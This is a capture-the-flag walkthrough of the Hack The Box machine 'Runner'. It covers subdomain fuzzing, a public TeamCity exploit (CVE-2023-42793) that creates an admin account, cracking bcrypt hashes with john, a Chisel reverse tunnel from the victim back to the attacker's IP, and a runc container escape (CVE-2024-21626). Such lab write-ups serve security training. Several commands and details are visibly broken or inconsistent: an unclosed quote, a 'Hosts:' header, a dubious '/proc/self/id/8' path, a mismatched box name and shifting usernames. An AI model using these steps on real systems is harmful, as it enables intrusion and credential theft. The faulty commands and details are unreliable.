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Overview
HTB - Runner

Box Info

NameBizness
Release Date08 Jun, 2024
OSLinux
Rated DifficultyMedium

Enumeration

Nmap

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Resolution DNS

Terminal window
echo "10.10.11.13 runner.htb | sudo tee -a /etc/hosts

Scanning SubDomain

Terminal window
wfuzz -c -w /usr/share/wordlists/amass/shubs-subdomains.txt --hc 400,404,403,302 -H "Hosts: FUZZ.runner.htb" -u http://runner.htb -t 100

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Terminal window
Whatweb http://runner.htb

CVE-2023-42793 for Jet Brains

We can see the version of TeamCity build management server.

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Googling Teamcity 2023.05.3 exploit i found a RCE vulnerability for it.

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PoC1: https://github.com/Zyad-Elsayed/CVE-2023-42793

Terminal window
python3 exploit.py -u http://teamcity.runner.htb -n test2 -p test122 -e test2@test.com

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The script exploits to create an admin account on a TeamCity server. It sends a POST request to the target URL to create an admin user with specified or random credentials.

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SSH

Once inside, I enumerate these sections and found in Diagnostics make a backup and storage in a zip file and can we display the folders and found id_rsa.

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We go to download and save for login with ssh.

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Wait.. but dont have a user for login with ssh…

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We also found users and there hashes in same folder.

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Crack Hash

We go to crack the password for it.

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Terminal window
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt

Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) Remaining 1 password hash Cost 1 (iteration count) is 128 for all loaded hashes Will run 2 OpenMP threads

Password: piper123

Till now we have one id_rsa file, two users (Methew, jhon),password for Methew.

ssh -i id_rsa john@10.10.11.13

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Port Forwarding

Terminal window
netstat -nltp
ss -nltpu

127.0.0.1:9000 its potential, I’ll be employing Chisel for port forwarding.

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Terminal window
chisel server -p 6150 --reverse (Attack Machine)
./chisel client 10.10.14.68:6150 R:9000:127.0.0.1:9000 (Victim machine)

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We go to our port 9000

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Docker

Login with credentials matthew - piper123

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#how-docker-engine-calls-runc

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CVE-2024-21626 for Docker

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the path /proc/self/id/8 is from the CVE-2024-21626 - PoC - GitHub

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Now we go to console

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Execute a /bin/bash as root

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Just login as root and look the folder root for the flag

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Root

Source

Footnotes

  1. https://github.com/Zyad-Elsayed/CVE-2023-42793 ↩